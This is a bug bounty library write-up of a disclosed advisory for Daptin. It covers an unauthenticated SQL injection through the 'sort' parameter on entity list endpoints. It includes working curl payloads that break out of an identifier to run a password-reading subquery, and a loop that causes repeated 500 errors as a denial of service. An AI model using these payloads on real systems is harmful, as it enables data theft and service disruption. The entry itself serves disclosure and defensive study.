# Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint

Unauthenticated SQL injection in Daptin's `sort` query parameter on every entity list endpoint allows blind/error-based data extraction and DoS.

- Payout: Research
- Severity: critical
- Program: Daptin
- Found by: tinyb0y
- Disclosed: 2026-11-20
- CVE: CVE-2026-77367
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-hq2p-f2vj-v3cm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hq2p-f2vj-v3cm
- Tags: area:web domain:api domain:web impact:data-leak impact:dos impact:pii-leak kind:research platform:ghsa sev:critical tech:go technique:incomplete-fix technique:source-review vuln:sqli

**Target:** GET /api/<entity> list endpoint, `sort` query parameter
**Root cause:** The `sort` query parameter is concatenated into raw SQL identifiers via `goqu.I()` without validating that the referenced column exists, and goqu.I() does not escape embedded backticks, allowing identifier breakout.
**Steps:**
1. Build and run Daptin with a fresh SQLite DB: `go build -buildvcs=false -o daptin_bin . && ./daptin_bin`
2. Send unauthenticated request reflecting concatenation: `curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --'` returns 500 `no such column: world.email" --`
3. Break out of identifier with backtick: `curl -s -G "http://localhost:6336/api/user_account" --data-urlencode 'sort=id`,(select password from user_account limit 1)'` returns syntax error proving SQL grammar parsing
4. Repeat `sort=`x` three times to confirm reliable 500 DoS with zero credentials
**How found:** Noticed the sibling fuzzy-search code path in the same file received a column allow-list validation as the fix for prior advisory GHSA-rw2c-8rfq-gwfv, but the identical validation was never applied to the base `sort` parameter handling earlier in the same file; confirmed via reflection and backtick breakout.
**Exploitation:** Attacker sends unauthenticated GET to any entity list endpoint with a crafted `sort` value; a backtick closes the goqu identifier and the remainder is parsed as SQL, enabling error-based/blind extraction of data from tables the requester cannot read, or DoS via malformed queries.
**Escalation:** Impact escalates from single-request 500 DoS to blind/error-based extraction of arbitrary table data (e.g. user_account passwords) despite no read permission.
**Insight:** When a prior SQLi fix adds a column allow-list in one code path, grep the same file for other `goqu.I()`/`goqu.L()` sinks fed by request params — incomplete fixes leave sibling sinks unvalidated. Also note goqu.I() does not escape embedded quote chars, so backtick breakout works even on 'identifier' constructors.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl sort injection reflection**

```
curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --'
# => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]}

# Server log shows the exact constructed query:
# SELECT distinct(user_account.id), `user_account`.`email" --` AS `user_account_email" --`
#   FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email" --` ASC LIMIT ? == [10]
```

**Repeated unauthenticated 500 DoS loop**

```
for i in 1 2 3; do
  curl -s -o /dev/null -w "%{http_code}\n" -G "http://localhost:6336/api/world" \
      --data-urlencode 'sort=`x'
done
# => 500 / 500 / 500
```

